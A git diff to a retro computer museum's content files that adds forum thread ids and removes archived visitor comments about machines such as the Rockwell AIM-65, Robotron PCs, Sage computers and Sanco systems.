@@ -80,16 +81,6 @@ params: - title: www.robotron-net.de url: http://www.robotron-net.de/ text: Robotron dedicated website (German) - comments: - - author: mbx - date: Wednesday 29th June 2016 - text: You can find an emulator for A5105 (and other robotron boxes like the KC85/3) at http://www.jens-mueller.org/jkcemu/index.html - - author: Oxy (Germany) - date: Wednesday 18th July 2007 - text: 'One funny notice about the system: it was able to handle 16 different colors, nevertheless it came only with a green monochrome monitor so that it was impossible to see the different colors.' - - author: linkman (Slovak republic) - date: Thursday 21st April 2005 - text: http://www.robotron-net.de/ oc_id: 1071 source: url: https://web.archive.org/web/20230530203406/http://www.old-computers.com/museum/computer.asp?c=1071 diff --git a/content/museum/robotron-kc-85-1-z-9001.md b/content/museum/robotron-kc-85-1-z-9001.md index 70e42b95..e6aa8c8e 100644 --- a/content/museum/robotron-kc-85-1-z-9001.md +++ b/content/museum/robotron-kc-85-1-z-9001.md @@ -70,6 +70,7 @@ params: - photos - links - docs + forum_thread: 588 photos: - title: Z-9001 MODEL subtitle: '' @@ -100,18 +101,6 @@ params:  compiled/archived by Compiled/archived by Thomas Stein\  type of document : PDF\  source : Thomas Stein - comments: - - author: Ron (Germany) - date: Friday 19th December 2008 - text: |- - I remember this particular computer very well, as it was my first computer and I learned how to program BASIC and Assembler on it.\ - The keyboard surely was a pain in the ass, not so much because of its form factor but rather because a lot of force was necessary to press down a key. Good training for a guitar-player like me, but horrible in general. - - Its former name was actually "Z 9001", not "HC9001", see here for an example:\ - http://www.homecomputermuseum.de/comp/detail/111.jpg. - - author: Josh Carlson (Gadsden, AL, USA) - date: Friday 16th November 2007 - text: Wow, who the hell would think designing a keyboard like that would be a "good" thing!?!?! Shoot some engineers :) related: - /museum/r-f-t-kc-85-3 - /museum/r-f-t-kc-85-4 diff --git a/content/museum/robotron-kc-87.md b/content/museum/robotron-kc-87.md index 1425768a..f7ab847b 100644 --- a/content/museum/robotron-kc-87.md +++ b/content/museum/robotron-kc-87.md @@ -74,6 +74,7 @@ params: - software - links - docs + forum_thread: 559 photos: - title: KC 87 subtitle: '' @@ -169,10 +170,6 @@ params:  compiled/archived by Compiled/archived by Thomas Stein\  type of document : PDF\  source : Thomas Stein - comments: - - author: Werner-Thomas Niemann (Germany) - date: Friday 13rd June 2008 - text: This computer is an East-German product (GDR) related: - /museum/r-f-t-kc-85-3 - /museum/r-f-t-kc-85-4 diff --git a/content/museum/robotron-pc-1715.md b/content/museum/robotron-pc-1715.md index 7e8cff43..5358c5d4 100644 --- a/content/museum/robotron-pc-1715.md +++ b/content/museum/robotron-pc-1715.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 845 photos: - title: LARGE VIEW subtitle: '' @@ -124,31 +125,6 @@ params: - title: www.robotrontechnik.de url: http://www.robotrontechnik.de/ text: Very very complete and detailes website devoted to Robotron (in German). - comments: - - author: Jan Procházka (Czech Republic) - date: Monday 8th May 2017 - text: |- - Some software here:\ - http://www.kc85.de/Service/cpm_downl.html - - author: Piotr (Poland) - date: Thursday 7th August 2014 - text: 'Hej Przemek, je$$380$eli nadal masz go do sprzedania, napisz prosz$$281$ na adres: niubio $at$ gmail.com. Dzi$$281$ki :)' - - author: Przemek (Poland) - date: Thursday 23rd January 2014 - text: I have a Robotron 1715 FDD machine if you like$) I looks like new. Nobody knew what is was for many years. - - author: Qdlaczian (Poland) - date: Sunday 17th July 2011 - text: I own PC 1715 . Where can I get some software for it ? e.g. sytem disk ? - - author: Exin - date: Sunday 24th October 2010 - text: |- - I have a PC 1715 W myself. (The 256KB Version is named PC1715W, not M.) These machines were usually shipped with CPZ/CPA. (A CPM copy with using the additional memory as a ram disk.) - - Also, both drives are not controlled the same way and you could only boot from one. - - 1st drive is Double Density, the second one is Quad density. That means 360K for the first and 640K(or something, but not 720K) for the second. The second drive is mainly used to use strange disk formats. Like on the C128, you also had a program to format a Disk in various kind of formats. - - If you were supposed to do some CAD, a graphics card for the internal expansion port was "available". It was a huge card fitted onto the available slot of the normal mainboard. But i only heard of prototypes. oc_id: 864 source: url: https://web.archive.org/web/20230607091245/http://www.old-computers.com/museum/computer.asp?c=864 diff --git a/content/museum/rockwell-aim-65-40.md b/content/museum/rockwell-aim-65-40.md index 80428d0d..31001d70 100644 --- a/content/museum/rockwell-aim-65-40.md +++ b/content/museum/rockwell-aim-65-40.md @@ -52,15 +52,7 @@ params: value: External power supply unit - label: PRICE value: Unknown - comments: - - author: Dave Colglazier (USA) - date: Thursday 2nd August 2012 - text: |- - I have some AIM-65 and AIM-65/40 docs and app notes. If you need some info, please ask and I''ll see if I have it.\ - orgwood at iaxs dot net - - author: angel (davisburg, MI) - date: Saturday 17th December 2011 - text: for sale on eBay aim65 original 1 owner over 40 pamphlets, diagrams, user guides and brochures. one price. unit is in working condition and pristine shape + forum_thread: 658 oc_id: 674 source: url: https://web.archive.org/web/20230607120913/http://www.old-computers.com/museum/computer.asp?c=674 diff --git a/content/museum/rockwell-aim-65.md b/content/museum/rockwell-aim-65.md index 94834535..00b6c97a 100644 --- a/content/museum/rockwell-aim-65.md +++ b/content/museum/rockwell-aim-65.md @@ -59,6 +59,7 @@ params: - emulators - links - docs + forum_thread: 74 photos: - title: AIM 65 subtitle: '' @@ -185,149 +186,6 @@ params:  type of document : Unknown\  size : 1 MB\  source : www.old-computers.com - comments: - - author: OldComputers ES (Spain) - date: Sunday 21st November 2021 - text: 'A Spanish version of AIM, the DRAC-1 by Comelta S.A. The motherboard of this machine is a Rockwell R6500 Advanced Interactive Microcomputer, and had a 5.25 floppy drive and a professional keyboard with 54 keys. More info: https://www.oldcomputers.es/drac-1/' - - author: Ahhhhhh!!!!!! - date: Saturday 26th November 2016 - text: |- - 1 line of 20 chracters LED screen.\ - Ahhhhhh!!!!!! - - author: Ross Milbourne (United Kingdom) - date: Friday 29th May 2015 - text: |- - Hi Lutz - - Thank you for your reply. I have $ped you a note via your HP so that we can discuss. - - Kind regards - - Ross - - author: Lutz - date: Wednesday 27th May 2015 - text: |- - Hi Ross, - - i still have the one from my first computer. After laying around in various drawers and moving boxes for about 30 years it''s dusty, but in good shape - no scratches or soldering iron burns. Instead of letting it gather more dust, i''d rather give it to someone who makes use of it. Contact me via my HP if you''re still interested. - - Cheers! - - author: Ross Milbourne (UK) - date: Thursday 14th May 2015 - text: |- - Does anyone have an AIM65 keyboard for sale please? If not, does anyone know if there are any modern replacements available? - - Kind regards - - Ross - - author: Dave Colglazier - date: Thursday 18th December 2014 - text: |- - To previous posters, I have scanned the Forth manual and it''s available but I have no information on the Math package that I assume is the floating point mentioned here. I did install and test the entry points using the 5 and N keys so I think it''s the proper one. I have made EPROMs from these for those who want them...please see previous post for contact information about these or any other AIM parts you are needing.\ - Tuesday 28th October 2008\ - Harry Dodgson (USA) - - Just found this page - to use the Forth Math ROM, just use "N" and it will load the words into the dictionary. VLIST will show them. I don''''t have any documenation, but looking most of the routines can be determined from the names. - - Saturday 11th November 2006\ - Juan Jerez (Spain) - - I own an AIM-64 with the Forth ROM''s includding the floating point extenxions. Does anybody have the manual for the floating point ext. or know how to use the floating point words ? - - author: Dave Colglazier (White Bear Lake, MN USA) - date: Thursday 18th December 2014 - text: |- - The voltage needed to run the main board is 5VDC. The 24 VDC is needed for the printer to function only. The 12VDC rails are not needed to run the main board but are used when running TTY or RS232 interfaces when desired.\ - I still buy and repair these computers for resale. My eBay user name is orgwood. I also have some spare parts/printers. I provide documentation to owners who contact me if I have it available especially for odd add-ons from the Computerist, Seawell, and MTU. If you have documentation, please don''t discard it but contact me as I scan it and post it on my page or send it on to others who host sites that store this sort of thing. I''m particularly in need of any hardware related to keyboards like the keycaps $ switches, but I have many Display PC boards for those missing theirs. - - author: Marcelo Acuña (Argentina) - date: Wednesday 3rd December 2014 - text: The $ 375 correspond to a mother with 1 KB of RAM in 1978, with 4 KB cost $ 450. - - author: Marcelo Acuña (Argentina) - date: Sunday 9th November 2014 - text: The AIM 65 was released in the second half of 1978, not in 1976. - - author: Marcelo Acuña (Argentina) - date: Sunday 9th November 2014 - text: The AIM 65 was released in the second half of 1978, not in 1976. - - author: Thomas Gutmeier (Austria) - date: Thursday 8th November 2012 - text: |- - Hi, now you can find a digitized tapeimage of a realtimeclock-program for the AIM 65 on my website (as i found nothing, i typed it in myself ...).\ - Find the program here: http://www.8bit-homecomputermuseum.at/computer/aim_65.html - - author: Thomas Gutmeier (Österreich) - date: Wednesday 3rd October 2012 - text: Hi, just got an AIM-65 with a load of additional hardware (Video Plus, Memory Plus, Rom Switcher, Eprom Burner, Assembler, Basic and PL/65) and i am on the search for (digitized) programs on tape, Romimages and other cool stuff! Just contact me if you have something. Greetings TOM:-) - - author: Thomas Gutmeier (Österreich) - date: Wednesday 3rd October 2012 - text: Hi, just got an AIM-65 with a load of additional hardware (Video Plus, Memory Plus, Rom Switcher, Eprom Burner, Assembler, Basic and PL/65) and i am on the search for (digitized) programs on tape, Romimages and other cool stuff! Just contact me if you have something. Greetings TOM:-) - - author: angel (usa) - date: Thursday 15th December 2011 - text: awesome aim65 computer complete set one owner w 25 manuals and brochures plus! lwg2011 170748927867 - - author: James (Michigan, United States) - date: Friday 21st October 2011 - text: |- - Umm, the +12 and -12 power lines are not required. I believe that they were used for a TTY interface from what I know about old computers like this. - - I took a 24V laptop power supply and simply hooked up a 5 volt regulator. Works like a charm. - - author: DMGross (Philadelphia,PA) - date: Wednesday 24th August 2011 - text: I have an AIM-65 that also came with the external interfacing card rack. You could add circuit boards for specific interfacing needs such as A/D converters but more importantly, ROMs for other languages. I used it for FORTH programming for lab automation. - - author: Henry (Sweden) - date: Wednesday 20th July 2011 - text: It was the first computer I used for learning. I have just acquired an example for nostalgic reasons. Is there anyone that knows where to find suitable thermal paper? I understand that wrong type of paper may damage the printer. - - author: James (United States) - date: Tuesday 26th April 2011 - text: I have one of these that I''m hoping to learn assembly on. I''d like to put BASIC on it but I can''t find a BASIC ROM for it. I could burn one but I need the contents of the ROM to burn. - - author: MarTin (Italy) - date: Sunday 10th October 2010 - text: |- - Hi, I''m living in Italy and I own an AIM-65 too. I can send you binary listing of ROMs. Send me a message at mtinariCHIOCCIOLAtiscali.it.\ - Bye - - author: Marco (Italy) - date: Tuesday 27th July 2010 - text: I own an AIM-65 but I lose the 2 eprom containing monitor (part no. R 3222-11 R 3223-11). Anybody can make a copy ? - - author: Craig Carr (USA) - date: Monday 18th January 2010 - text: This was the very first computer that I programmed on around 77-78. I remember my dad would bring it home from work for eproms. And their were different chipsets you could put in for different languages. I used the Basic and the fortran. Bein the geek kid I was , I wrote some simple video games that would appear on the screen but also on the on board thermal printer. The one I remember best was a downhill skiiing game.. where you would avoid the trees.. It used up too much paper to play too long though.. It was fun writing and playing the game in "real" time on the printer. - - author: Harry Dodgson (USA) - date: Tuesday 28th October 2008 - text: Just found this page - to use the Forth Math ROM, just use "N" and it will load the words into the dictionary. VLIST will show them. I don''t have any documenation, but looking most of the routines can be determined from the names. - - author: Juan Jerez (Spain) - date: Saturday 11th November 2006 - text: I own an AIM-64 with the Forth ROM's includding the floating point extenxions. Does anybody have the manual for the floating point ext. or know how to use the floating point words ? - - author: sera (greece) - date: Thursday 19th October 2006 - text: |- - I need to know what is the main route from the time a enter a command till the printing function.\ - Is there anyplace a can find something like this ? - - author: Rob Burton (Cleveland, OH) - date: Friday 24th February 2006 - text: In roughly '78-79 we purchased one of these to develop software for KIM-1-based motion control systems used to control animation and special effects cameras - all written in assemby. I still have one complete with snazzy plastic case. - - author: Képes Gábor (Hungary) - date: Thursday 7th April 2005 - text: |- - Hello! - - I know a Spanish version (son) of AIM, the DRAC-1 by Comelta S.A. - - The motherboard of this machine is a Rockwell R6500 Advanced Interactive Microcomputer, and had a 5.25 floppy drive and a professional keyboard with 54 keys. - - More info needed! - - Best wishes:\ - G. - - author: Leo Hermacinski (Boston USA) - date: Sunday 2nd January 2005 - text: |- - This brings back memories- I attended an AIM65 introduction course in Chicago in 1979 or so at a sales rep firm- my dad was president of the sales firm so I attended for free. - - One of the guys on the course was an engineer at a local games company and was planning to use the computers to control pin ball machines- don't know if they ever put that plan into production. - - author: Vasilis Tsirigakis (Athens-Greece) - date: Wednesday 19th February 2003 - text: |- - Good evening my name is Vasilis Tsirigakis and I am a student from the Technological Educational Institute of Pireas in Greece. The subject of my Thesis is to create a Visual Simulator of the Aim-65 kit using Visual C++, well I have succeded it but my simulator still has some bugs!\ - I would appreciate if could someone e-mail me in order to inform me about the history of this KIT and the history of 6502 CPU. I want this information in order to attach them to the presentation of my thesis. Thank you in advance! - - author: Chris Harjo (Earth) - date: Tuesday 26th March 2002 - text: personal experience with Aim 65 computer. Back in the 1984 we used these machines to learn to write assembler programs. We stored the programs by using a opto-isolator circuit hooked to the expansion port that interfaced a teletype machine to the Aim65. We then stored the programs on paper tape using the teletype machine, also used to reenter the program into the machine to run the program again. oc_id: 58 source: url: https://web.archive.org/web/20230224114117/http://www.old-computers.com/museum/computer.asp?c=58 diff --git a/content/museum/rollet-video-secam-system-4-303.md b/content/museum/rollet-video-secam-system-4-303.md index 2f569169..3c338588 100644 --- a/content/museum/rollet-video-secam-system-4-303.md +++ b/content/museum/rollet-video-secam-system-4-303.md @@ -46,6 +46,7 @@ params: - photos - hardware - links + forum_thread: 958 photos: - title: ROLLET VIDEO SECAM SYSTEM 4/303 subtitle: '' diff --git a/content/museum/rollet-videocolor.md b/content/museum/rollet-videocolor.md index 58b6dff2..8bf036bd 100644 --- a/content/museum/rollet-videocolor.md +++ b/content/museum/rollet-videocolor.md @@ -11,6 +11,7 @@ params: - photos - links - docs + forum_thread: 803 photos: - title: ROLLET VIDEOCOLOR subtitle: '' diff --git a/content/museum/rowtron-television-computer-system.md b/content/museum/rowtron-television-computer-system.md index 44f9e3e1..9ab2a345 100644 --- a/content/museum/rowtron-television-computer-system.md +++ b/content/museum/rowtron-television-computer-system.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 710 photos: - title: TELEVISION COMPUTER SYSTEM subtitle: '' @@ -94,58 +95,6 @@ params: - title: VC4000.de url: http://www.vc4000.de text: Website dedicated to the Interton VC4000 (in German) - comments: - - author: Michelle (Lancs) - date: Tuesday 21st November 2017 - text: I''ve still got the rowtron tv console with 10 games - - author: stinky ox (United Kingdom) - date: Friday 10th March 2017 - text: |- - Just confirming that I wasn''t crazy remembering I got one of these in 1979: here''s an ad from the shop I bought it from in Basingstoke, dated Dec 1979. - - http://minotaurproject.co.uk/YakImages/videotime.jpg - - author: Steve (UK) - date: Monday 25th July 2016 - text: Does anyone have a picture of the original PSU, I see conflicting information for the voltage and amperage. I have an original Rowtron TCS from my childhood but its lost the PSU, I want to be double sure I have the right spec before trying anything that will damage it! - - author: Adam (London) - date: Tuesday 4th February 2014 - text: |- - Hi all, - - I wrote up a pretty in depth review of the rowtron console last year. Check it out: - - http://dustyoldgames.blogspot.co.uk/2013/08/rowtron-television-computer-system.html - - author: Sven - date: Friday 23rd March 2012 - text: The mpt numbers quoted on the products were related to radio emissions compliance. - - author: stinky ox (UK) - date: Sunday 11th December 2011 - text: |- - I can confirm this system was available at least 2 years before 1981. I bought mine from a shop called Videotime in Basingstoke, in 1979. That shop was a regular hangout for the computer nerds from QMC - they stocked the Atari VCS and the Ohio Superboard as well as this. I desperately wanted a computer but couldn''t afford one in those pre-Clive days, and I couldn''t afford the more inviting Atari VCS either, so ended up getting the Teleng branded version of this instead (partly because of the promised future Programmer Module, but I never did see one of those, and before too long I had my ZX80 anyway). - - Still, I had a fair bit of fun with the Teleng, even if the software wasn''t a patch on the best VCS games. Took it with me to university where it shared an old black and white valve telly (that I''d bought off a granny in Reading for a fiver) with my zx80. - - Eventually replaced by a real VCS that I convinced myself I could afford to buy if I ate nothing but beans for a term. - - I wish I knew what happened to the old beast now. I''d definitely fire it up for a go of Gravity Tennis and that pinball with the flippers that looked like giant crinkle-cut chips. - - author: Richard - date: Sunday 20th November 2011 - text: Discovered mine today, will try it out this week, have all 21 games the one with the din plug was a programmer module which you plugged into it, still looking for mine but i have the cartridge. Can''t wait to play tank battle once more! - - author: Webmaster (France) - date: Monday 4th July 2011 - text: Hi Claire. It means that these games are supposed to exit, but no one confirmed them yet. Can you ? - - author: claire - date: Wednesday 8th June 2011 - text: Why are there 3 games showing as unconfirmed, what does this mean please? - - author: Ian Gledhill (Aberystwyth, Wales) - date: Friday 19th November 2010 - text: Looking at my Teleng TCS, everything is dated 1979, around week 13 (2650AI) to week 38 (UM1233). Weirdly, it has 2 modulators, a UM 1263 and a UM 1233. Now to find a +15V PSU....! I also have a load of boxed carts, including one with a DIN plug??? Goodness knows what it''s for... - - author: ZiG (England) - date: Friday 6th August 2010 - text: Me mam still wont let me have mine out her attic, she thinks i''ll break it pmsl, seriously. Used to hammer a space invaders clone on that back when I was about 8 (32 now). Always remember it being hard to find games for, after seeing recently how many were released, I''m not surprised. - - author: K3D (Wales) - date: Wednesday 23rd July 2003 - text: Still got one of these in the attic. Think its best left there :P related: - /museum/acetronic-mpu-1000-2000 - /museum/cabel-universal-game-computer diff --git a/content/museum/s-h-g-black-point-fs-1003-fs-2000.md b/content/museum/s-h-g-black-point-fs-1003-fs-2000.md index 692a6422..688080f2 100644 --- a/content/museum/s-h-g-black-point-fs-1003-fs-2000.md +++ b/content/museum/s-h-g-black-point-fs-1003-fs-2000.md @@ -50,6 +50,7 @@ params: - software - links - videos + forum_thread: 861 photos: - title: FS-1003 subtitle: '' @@ -156,14 +157,6 @@ params: - title: SHG Blackpoint Pong console review url: https://www.youtube.com/watch?v=0Sl9tZXbmEk text: 'Length: 2min 57s' - comments: - - author: Jonas M. (Germany) - date: Thursday 27th January 2011 - text: |- - I''ve got the other version of the S.H.G. Black Point.\ - Maybe I''ll send a picture and informations about it.\ - I made a review about this console in youtube.\ - My channel is MeersauTV related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/saft-leclanche-tv8-sports.md b/content/museum/saft-leclanche-tv8-sports.md index b5fe5d31..b9cd1a51 100644 --- a/content/museum/saft-leclanche-tv8-sports.md +++ b/content/museum/saft-leclanche-tv8-sports.md @@ -54,6 +54,7 @@ params: - photos - software - links + forum_thread: 719 photos: - title: TV8 SPORTS subtitle: '' @@ -88,15 +89,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Adrian Scheel (Germany) - date: Friday 8th October 2010 - text: |- - This was also sold in France by an obscure company called Galaxica. While The Sauft Leclanché was in orange, the Galaxica is in off-white. Also the paddle knobs of the Galaxica are slightly different.\ - Pictures can be seen on my website. - - author: Tempest (France) - date: Sunday 10th November 2002 - text: Saft Leclanché was the french pioneer in battery manufacturing. Isn't funny that a battery maker sale a power-hungry and no-external-power-supply PONG system ? related: - /museum/binatone-colour-tv-game-mk-10-model-n-01-4842 - /museum/ingersoll-xk-410c diff --git a/content/museum/sage-computer-technology-sage-ii.md b/content/museum/sage-computer-technology-sage-ii.md index 0953e6f8..92e81029 100644 --- a/content/museum/sage-computer-technology-sage-ii.md +++ b/content/museum/sage-computer-technology-sage-ii.md @@ -59,6 +59,7 @@ params: tabs: - adverts - links + forum_thread: 594 adverts: - title: U.S. ADVERT subtitle: '' @@ -82,13 +83,6 @@ params: - title: sageandstride.org url: http://www.sageandstride.org/index.html text: Excellent site about systems produced by SAGE Computer/Stride Micro/MicroSage - comments: - - author: 'Doctor Smith says: Cackling Cacophony!' - date: Friday 3rd February 2017 - text: 'Doctor Smith says: Cackling Cacophony! Very fast over priced junk. I prefer Apple II anyday over this Bubble-headed Booby.' - - author: Pete Fenelon (York, UK) - date: Friday 13rd January 2006 - text: I had one of these for a while. Nice machine, and astonishingly quick given its vintage. Distinctive feature - the CPU activity LED changed colour depending on whether the CPU was in user or system mode! related: - /museum/sage-computer-technology-sage-iv oc_id: 607 diff --git a/content/museum/sage-computer-technology-sage-iv.md b/content/museum/sage-computer-technology-sage-iv.md index a566fcfa..d93a779f 100644 --- a/content/museum/sage-computer-technology-sage-iv.md +++ b/content/museum/sage-computer-technology-sage-iv.md @@ -58,6 +58,7 @@ params: value: Unknown tabs: - links + forum_thread: 632 links: - title: Marcus Wigan's Homepage url: http://go.to/mwigan @@ -65,42 +66,6 @@ params: - title: sageandstride.org url: http://www.sageandstride.org/index.html text: Excellent site about systems produced by SAGE Computer/Stride Micro/MicroSage - comments: - - author: Toshi (Germany) - date: Friday 18th October 2019 - text: I own a running SAGE II as well. I would be very pleased to get in contact with other SAGE owners and I am as well interested in any SAGE soft- and hardware that might be for sale - email " thufir(at) web.de" - - author: 'Doctor Smith says: Cackling Cacophony!' - date: Friday 3rd February 2017 - text: 'Doctor Smith says: Cackling Cacophony! Very fast over priced junk. I prefer Apple II anyday over this Bubble-headed Booby. Version 4' - - author: Jonas Glanshed (Sweden) - date: Thursday 14th February 2013 - text: took some pictures of my Stride 460 a while ago http://imgur.com/a/jxZtB$0 tape drive´s dead though and the winchester discs have seen better days, so running or reinstalling Unistride is not possible at the moment. pSystem on floppy works fine though. - - author: Rich Austin (Barnsley, England) - date: Saturday 15th October 2011 - text: |- - I learnt programming many years ago on a Sage IV. I have been a programmer for years and I still think the ucsd Pascal embedded in the Sage IV was the best language I ever used.\ - I loved the Sage even if it did have a tendency to break down quite a lot! We used it for transmitting programs to 4 welding robots. It was connected to an external box which allowed it to produce colour graphics on one of those steel cased monitors you used to see on BBC Micro''s.\ - I once wrote a robotics simulation which used the colour screen. It simulated the 4 robots and I had an outline of the machinery on the screen too. Really powerful piece of kit for its time - early to mid eighties. - - author: Peter F. (Suffolk, UK) - date: Wednesday 23rd January 2008 - text: Used to use one at work running UCSD Pascal with a hazletyne terminal. - - author: Bob Needham (Reno, NV) - date: Tuesday 8th November 2005 - text: |- - I was amaxed to stumble across the SAGE/STRIDE sites. I didn't think anyone cared anymore. It is heartening to hear that some are still running.\ - I have quite a bit of old documentation, some software, and schematics for all boards. I will be glad to share copies of anything I have with anyone.\ - -Thanks,\ - -Bob Needham\ - -Co-founder, SAGE Computer Technology - - author: David W. Erhart (Milpitas, California) - date: Monday 31st October 2005 - text: 'It''s wonderful to find people familiar with the Sage and Stride systems. I''m building a site to honor those systems: www.sageandstride.org. If you have anything that will add to the site such as documentation, marketing/sales material, software, pictures, stories, etc., please contact me and I''ll update the site with the information. Dr. Wigan has already shared many great stories with me and I hope for many more. Thanks, david.' - - author: Marcus Wigan (Australia ) - date: Monday 24th October 2005 - text: Sage 2 and 4. I handled these in Australia for some years and still have 3 sage 4s. I have PDS, HyperForth+, Lispkit Lisp, Modula2(USCSDII), UCSDIV, Idris(unix), cabrideg TRIPOS (including the full symbolic algebra system REDUCE) and Mirage operating systems for them, plus service manuals and full docs plus the entire UCSD P-system library in sage format 5" floppies... I knew the people at Softech and UCSD a little, and Telesoft when they moved on to Ada... and several PLUTO colour boxes to give Sages colour - these were shown at SageFairs in Nevada and came out of England. Would like ot make contact with Birger Blixt as we may be able together to plug any missing holes in support docs... - - author: Colin Hamilton (UK) - date: Monday 24th October 2005 - text: I was a self-taught programmer in Edinburgh, Scotland, in the very early 1980s, learning how to program Apple IIs using UCSD Pascal. Sage microcomputers came along and I established my own software company on the strength of them. We made use of Sage II, Sage IV, Stride and then Pinnacle computers. The beauty of the UCSD p-System of course was its portability, and I am still (Oct 2005) maintaining clients with UCSD Pascal systems that are now running on Windows XP and Novell networks. related: - /museum/sage-computer-technology-sage-ii oc_id: 647 diff --git a/content/museum/sages-v1.md b/content/museum/sages-v1.md index 80ea1119..9115270c 100644 --- a/content/museum/sages-v1.md +++ b/content/museum/sages-v1.md @@ -57,6 +57,7 @@ params: tabs: - photos - software + forum_thread: 1067 photos: - title: LARGER VIEW subtitle: '' diff --git a/content/museum/saitek-micro-computer.md b/content/museum/saitek-micro-computer.md index a35f1a34..bee9f907 100644 --- a/content/museum/saitek-micro-computer.md +++ b/content/museum/saitek-micro-computer.md @@ -58,6 +58,7 @@ params: value: Never marketed tabs: - photos + forum_thread: 1230 photos: - title: PROTOTYPE subtitle: '' diff --git a/content/museum/salora-fellow.md b/content/museum/salora-fellow.md index 940a6593..9786408e 100644 --- a/content/museum/salora-fellow.md +++ b/content/museum/salora-fellow.md @@ -74,6 +74,7 @@ params: - emulators - links - docs + forum_thread: 1087 photos: - title: LARGE VIEW subtitle: '' @@ -346,13 +347,6 @@ params:  source : [The VZ200](http://vz200.tripod.com) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Jouni - date: Thursday 5th August 2021 - text: I had this as a kid, mainly because it was a failure and was sold of cheap so we could afford it, all my friends had either Commadores or MSX-type machines, it was around 1983. It was crap, had to write all programs on Basic, the buttons stuck, no games where available, but I learned programming. - - author: Jorg - date: Monday 18th June 2012 - text: Go Socialism! related: - /museum/dick-smith-vz200 - /museum/dick-smith-vz300 diff --git a/content/museum/salora-manager.md b/content/museum/salora-manager.md index c09f20a6..24ddb257 100644 --- a/content/museum/salora-manager.md +++ b/content/museum/salora-manager.md @@ -66,13 +66,7 @@ params: value: 16 KB RAM expansion, 5.25'' floppy drive unit - label: PRICE value: Unknown - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site + forum_thread: 1088 oc_id: 1118 source: url: https://web.archive.org/web/20230602183957/http://www.old-computers.com/museum/computer.asp?c=1118 diff --git a/content/museum/samsung-saturn.md b/content/museum/samsung-saturn.md index ce215bde..73aef8d8 100644 --- a/content/museum/samsung-saturn.md +++ b/content/museum/samsung-saturn.md @@ -9,6 +9,7 @@ params: company_name: Samsung tabs: - links + forum_thread: 1240 links: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com diff --git a/content/museum/samsung-spc-1000.md b/content/museum/samsung-spc-1000.md index 33cd9a63..468f1dff 100644 --- a/content/museum/samsung-spc-1000.md +++ b/content/museum/samsung-spc-1000.md @@ -64,16 +64,7 @@ params: value: Built-in 110V/220V power supply unit - label: PRICE value: 495,000 won (about $600) - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: staff - date: Sunday 12th September 2010 - text: Samsung SPC-1000 TV CF + forum_thread: 784 oc_id: 803 source: url: https://web.archive.org/web/20230625085746/http://www.old-computers.com/museum/computer.asp?c=803 diff --git a/content/museum/sanco-7000.md b/content/museum/sanco-7000.md index df530dbc..d6c9bbf2 100644 --- a/content/museum/sanco-7000.md +++ b/content/museum/sanco-7000.md @@ -62,29 +62,7 @@ params: value: Unknown - label: PRICE value: Unknown - comments: - - author: KnightFire (Canada) - date: Tuesday 30th March 2021 - text: I''ve an ibex 7102, looks just like the Sanco (Memory) 7000. Evidently manufactured by Logic Systems International. - - author: Fran RaMo (Spain) - date: Saturday 2nd January 2021 - text: Sanco 7202 working https://youtu.be/I1vN7mriztE - - author: Fran RaMo (Spain) - date: Saturday 2nd January 2021 - text: 'Hello I have a Sanco-Ibex 7202, with two 8 inch drivers. This computer was used in the 80s for the management of a furniture factory. To boot from floppy A type I (capital i) + intro To boot from floppy B type J + intro Soft-reset: ctrl + SR Hola Mi Sanco es la versión 7202, con doble disquetera de 8 pulgadas. Este equipo se utilizó en los años 80 para llevar la gestión y contabilidad de una fábrica de muebles. La empresa que lo vendía era SEIA (Servicios empresariales e informática aplicada)' - - author: Jakob Skopicki (France) - date: Saturday 12th December 2020 - text: 'To boot from floppy type I (as in Ireland) and return. for more info look at : http://www.sanyofrance.com/site$202000/histoire.htm' - - author: Kristoffer Rosendahl (Sweden) - date: Friday 10th January 2020 - text: |- - Hello!\ - I have a simular system called IBEX 7201. My system has 8 inch drives. - - I have a smal problem with my system.\ - I cant load it from the disk. I only get to the "Monitor".\ - Is there a special command to load from the disk?\ - Please help me! + forum_thread: 213 oc_id: 203 source: url: https://web.archive.org/web/20221001025226/http://www.old-computers.com/museum/computer.asp?c=203 diff --git a/content/museum/sanco-8000.md b/content/museum/sanco-8000.md index e72620ce..ea641273 100644 --- a/content/museum/sanco-8000.md +++ b/content/museum/sanco-8000.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 1042 photos: - title: SANCO 8001 subtitle: '' @@ -137,10 +138,6 @@ params: Treat you to a star for less than 3,000 Euros image: /media/museum/pubs/sanco_8000_pub_s1.jpg - comments: - - author: Nicolas Davin (Belgique) - date: Friday 11th December 2020 - text: I recently acquired a Sanco 8150 or 8160. Never used a CP/M computer before though. After I power it on, it shows a simple "10" on the upper left corner of the screen. On the keyboard, the "boot" key lights up and if I press it, the computer beeps and then a line of plain rectangles appear right under the "10". I cannot type anything. Unfortunately I can''t find any manual online. Can someone help me out on this ? oc_id: 1069 source: url: https://web.archive.org/web/20230608220558/http://www.old-computers.com/museum/computer.asp?c=1069 diff --git a/content/museum/sanco-tpc-8300.md b/content/museum/sanco-tpc-8300.md index 231333e5..6d54bb42 100644 --- a/content/museum/sanco-tpc-8300.md +++ b/content/museum/sanco-tpc-8300.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 1101 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/sands-3000.md b/content/museum/sands-3000.md index 723e857c..bb9cd916 100644 --- a/content/museum/sands-3000.md +++ b/content/museum/sands-3000.md @@ -52,6 +52,7 @@ params: - software - emulators - links + forum_thread: 1092 screenshots: - title: TENNIS subtitle: '' @@ -82,13 +83,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - 